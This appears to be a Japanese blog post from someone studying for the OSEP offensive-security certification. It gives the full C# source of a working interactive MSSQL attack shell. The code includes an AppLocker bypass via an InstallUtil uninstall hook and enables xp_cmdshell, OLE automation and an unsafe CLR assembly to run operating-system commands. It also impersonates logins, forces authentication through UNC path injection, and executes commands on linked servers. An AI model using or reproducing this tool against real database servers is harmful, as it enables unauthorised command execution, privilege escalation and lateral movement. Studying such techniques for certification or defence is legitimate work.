#153 MSSQL Shell
OSEPでは、MSSQLもけっこう重要なテーマになっています。情報収集したり、コマンド実行するためのツールを作りました。
MSSQL Shell
Shellのようなインターフェースで、MSSQLサーバーに対してクエリを実行できます。名前は考え中です。
using System;
using System.Collections;
using System.Collections.Generic;
using System.ComponentModel.Design;
using System.Data.OleDb;
using System.Data.SqlClient;
using System.Globalization;
using System.Linq;
using System.Runtime.Remoting.Messaging;
namespace msshell
{
internal class Program
{
static void Main(string[] args)
{
Shell.Run();
}
}
// applocker bypass with InstallUtil
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
Shell.Run();
}
}
class Shell
{
public static void Run()
{
Banner();
Console.Write("server: ");
String server = Console.ReadLine();
Console.Write("database: ");
String database = Console.ReadLine();
SqlConnection con = Connect(server, database);
if (!CheckConnection(con))
{
Console.WriteLine("[-] exitting");
return;
}
while (true)
{
Console.Write("MS> ");
String cmd = Console.ReadLine();
cmd = cmd.Trim().ToLower();
if (cmd == "exit")
{
break;
}
switch (cmd)
{
case "help":
Help();
break;
case "connect":
Console.Write("server: ");
server = Console.ReadLine();
Console.Write("database: ");
database = Console.ReadLine();
con = Connect(server, database);
break;
case "disconnect":
Disconnect(con);
break;
case "query":
while (true)
{
Console.Write("query> ");
String query = Console.ReadLine();
if (query == "exit")
{
break;
}
List<List<String>> query_result = Query(con, query);
PrintQueryResult(query_result);
}
break;
case "user":
QueryUser(con);
break;
case "sysuser":
QuerySystemUser(con);
break;
case "perm":
Console.Write("perm: ");
String perm = Console.ReadLine();
List<String> users = QueryPermUsers(con, perm);
break;
case "role":
Console.Write("role: ");
String role = Console.ReadLine();
QueryRole(con, role);
break;
case "impersonate":
Console.Write("impersonate to: ");
String impersonate = Console.ReadLine();
Impersonate(con, impersonate);
break;
case "unc":
Console.Write("path: ");
String path = Console.ReadLine();
UncPath(con, path);
break;
case "xpcmd":
EnableXpCmdShell(con);
while (true)
{
Console.Write("cmd> ");
String xp_command = Console.ReadLine();
if (xp_command == "exit")
{
break;
}
String result = ExecuteXpCmd(con, xp_command);
}
break;
case "olecmd":
EnableOleCmdShell(con);
while (true)
{
Console.Write("cmd> ");
String ole_command = Console.ReadLine();
if (ole_command == "exit")
{
break;
}
ExecuteOleCmd(con, ole_command);
}
break;
case "asmcmd":
Console.Write("dll: ");
String dll = Console.ReadLine();
LoadAssembly(con, dll);
while (true)
{
Console.Write("cmd> ");
String asm_command = Console.ReadLine();
if (asm_command == "exit")
{
break;
}
ExecuteAssembly(con, asm_command);
}
break;
case "link":
QueryLinkedServers(con);
break;
case "linkquery":
Console.Write("server: ");
String link_server = Console.ReadLine();
while (true)
{
Console.Write("query> ");
String query = Console.ReadLine();
if (query == "exit")
{
break;
}
List<List<String>> result = ServerQuery(con, link_server, query);
PrintQueryResult(result);
}
break;
case "linkxpcmd":
Console.Write("server: ");
String link_xp_server = Console.ReadLine();
ServerEnableXpCmd(con, link_xp_server);
while (true)
{
Console.Write("cmd> ");
String link_xp_command = Console.ReadLine();
if (link_xp_command == "exit")
{
break;
}
String result = ServerExecuteXpCmd(con, link_xp_server, link_xp_command);
}
break;
default:
Console.WriteLine("[-] command not found");
break;
}
}
}
private static void Banner()
{
Console.WriteLine("MSSQL Server Utils");
}
private static void Help()
{
Console.WriteLine("MSShell");
Console.WriteLine("usage: ");
Console.WriteLine(" help print help");
Console.WriteLine(" connect connect to server/database");
Console.WriteLine(" disconnect disconnect from server/database");
Console.WriteLine(" query execute SQL query");
Console.WriteLine(" user get user name");
Console.WriteLine(" sysuser get system user name");
Console.WriteLine(" perm get users with permission");
Console.WriteLine(" role check assigned role");
Console.WriteLine(" impersonate impersonate to user");
Console.WriteLine(" unc UNC path injection");
Console.WriteLine(" xpcmd execute command (xp_cmdshell)");
Console.WriteLine(" olecmd execute command (ole procedures)");
Console.WriteLine(" asmcmd execute command (custom assembly)");
Console.WriteLine(" link get linked servers");
Console.WriteLine(" linkquery execute SQL query on linked server");
Console.WriteLine(" linkxpcmd execute command on linked server");
}
private static void PrintQueryResult(List<List<String>> result)
{
foreach (List<String> row in result)
{
String row_str = String.Join(" ", row);
Console.WriteLine(row_str);
}
}
private static SqlConnection Connect(String server, String database)
{
String conString = $"Server = {server}; Database = {database}; Integrated Security = True;";
SqlConnection con = new SqlConnection(conString);
try
{
con.Open();
Console.WriteLine("[+] auth success");
}
catch
{
Console.WriteLine("[-] auth failed");
}
return con;
}
private static void Disconnect(SqlConnection con)
{
if (CheckConnection(con))
{
con.Close();
}
if (CheckConnection(con))
{
Console.WriteLine("[-] failed to close connection");
}
Console.WriteLine("[+] connection closed");
}
private static bool CheckConnection(SqlConnection con)
{
if (con.State == System.Data.ConnectionState.Open)
{
return true;
}
return false;
}
private static List<List<String>> Query(SqlConnection con, String query)
{
List<List<String>> result = new List<List<String>>();
SqlCommand command = new SqlCommand(query, con);
SqlDataReader reader;
try
{
reader = command.ExecuteReader();
} catch (Exception e)
{
Console.WriteLine($"[-] query failed: {e.Message}");
return result;
}
while (reader.Read() == true)
{
List<String> row = new List<String>();
for (int i= 0; i < reader.FieldCount; i++)
{
row.Add(reader[i].ToString());
}
result.Add(row);
}
reader.Close();
return result;
}
// get system_user
private static String QuerySystemUser(SqlConnection con)
{
String query = "SELECT SYSTEM_USER;";
List<List<String>> result = Query(con, query);
String user = result[0][0];
Console.WriteLine($"[+] system_user: {user}");
return user;
}
// get user
private static String QueryUser(SqlConnection con)
{
String query = "SELECT USER_NAME();";
List<List<String>> result = Query(con, query);
String user = result[0][0];
Console.WriteLine($"[+] user: {user}");
return user;
}
// get assigned roles
private static bool QueryRole(SqlConnection con, String role)
{
String query = $"SELECT IS_SRVROLEMEMBER('{role}');";
List<List<String>> result = Query(con, query);
if (result.Count > 0)
{
Int32 role_result = Int32.Parse(result[0][0]);
if (role_result == 1)
{
Console.WriteLine($"[+] role: {role}");
return true;
}
}
return false;
}
// find impersonate users
private static List<String> QueryPermUsers(SqlConnection con, String perm)
{
perm = perm.ToUpper();
List<String> users = new List<String>();
String query = $"SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = '{perm}';";
List<List<String>> result = Query(con, query);
foreach (List<String> row in result)
{
Console.WriteLine($"[+] user: {row[0]}");
users.Add(row[0]);
}
if (result.Count == 0)
{
Console.WriteLine("[-] not found");
}
return users;
}
// impersonate to user
private static bool Impersonate(SqlConnection con, String user)
{
String query = $"EXECUTE AS LOGIN = '{user}';";
Query(con, query);
// check
String impersonated = QueryUser(con);
if (impersonated == user)
{
Console.WriteLine($"[+] impersonation success: {impersonated}");
return true;
}
Console.WriteLine("[-] impersonation failed");
return false;
}
// UNC path injection
private static void UncPath(SqlConnection con, String path)
{
String query = $"Exec master..xp_dirtree \"{path}\";";
Query(con, query);
}
// setup xp_cmdshell
private static void EnableXpCmdShell(SqlConnection con)
{
String query = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";
Query(con, query);
}
// execute xp_cmdshell
private static String ExecuteXpCmd(SqlConnection con, String cmd)
{
String query = $"EXEC xp_cmdshell '{cmd}'";
List<List<String>> result = Query(con, query);
String output = "";
foreach (List<String> row in result)
{
output += row[0];
}
Console.WriteLine($"[+] {output}");
return output;
}
// setup ole procedure
private static void EnableOleCmdShell(SqlConnection con)
{
String query = "EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;";
Query(con, query);
}
// execute Ole procedure
private static void ExecuteOleCmd(SqlConnection con, String cmd)
{
String query = $"DECLARE @myshell INT; EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT; EXEC sp_oamethod @myshell, 'run', null, 'cmd /c \"{cmd}\"';";
Query(con, query);
}
// Load assembly from path
private static void LoadAssembly(SqlConnection con, String path)
{
String query = "use msdb; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'clr enabled',1; RECONFIGURE; EXEC sp_configure 'clr strict security', 0; RECONFIGURE;";
String query2 = "DROP PROCEDURE IF cmdExec; DROP ASSEMBLY myAssembly;";
String query3 = $"CREATE ASSEMBLY myAssembly FROM '{path}' WITH PERMISSION_SET = UNSAFE; CREATE PROCEDURE [dbo].[cmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [myAssembly].[StoredProcedures].[cmdExec];";
Query(con, query);
Query(con, query2);
Query(con, query3);
}
// execute loaded assembly
private static String ExecuteAssembly(SqlConnection con, String cmd)
{
String query = $"Exec cmdExec '{cmd}'";
List<List<String>> result = Query(con, query);
String output = "";
foreach (List<String> row in result)
{
output += row[0];
}
return output;
}
// get linked servers
private static List<String> QueryLinkedServers(SqlConnection con)
{
List<String> servers = new List<String>();
String query = "EXEC sp_linkedservers;";
List<List<String>> result = Query(con, query);
foreach (List<String> row in result)
{
Console.WriteLine($"linked server: {row[0]}");
servers.Add(row[0]);
}
if (result.Count == 0)
{
Console.WriteLine("[-] not found");
}
return servers;
}
// execute query on linked server
private static List<List<String>> ServerQuery(SqlConnection con, String server, String query)
{
String serverquery = "";
String lower = query.ToLower();
if (lower.StartsWith("exec"))
{
String exec = lower.Replace("exec ", "");
exec = exec.Replace("'", "''");
// procedure call
serverquery = $"EXEC ('{exec}') AT {server}";
} else
{
// query
serverquery = $"SELECT * FROM OPENQUERY('{server}', '{query}')";
}
List<List<String>> result = Query(con, serverquery);
return result;
}
// setup xp_cmdshell on linked server
private static void ServerEnableXpCmd(SqlConnection con, String server)
{
String query = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE;";
String query2 = "EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";
ServerQuery(con, server, query);
ServerQuery(con, server, query2);
}
// execute xp_cmdshell on linked server
private static String ServerExecuteXpCmd(SqlConnection con, String server, String cmd)
{
String query = $"EXEC xp_cmdshell '{cmd}'";
List<List<String>> result = ServerQuery(con, server, query);
String output = "";
foreach (List<String> row in result)
{
output += row[0];
}
Console.WriteLine($"[+] {output}");
return output;
}
}
}
まだテスト甘めですが、ほぼ動きます。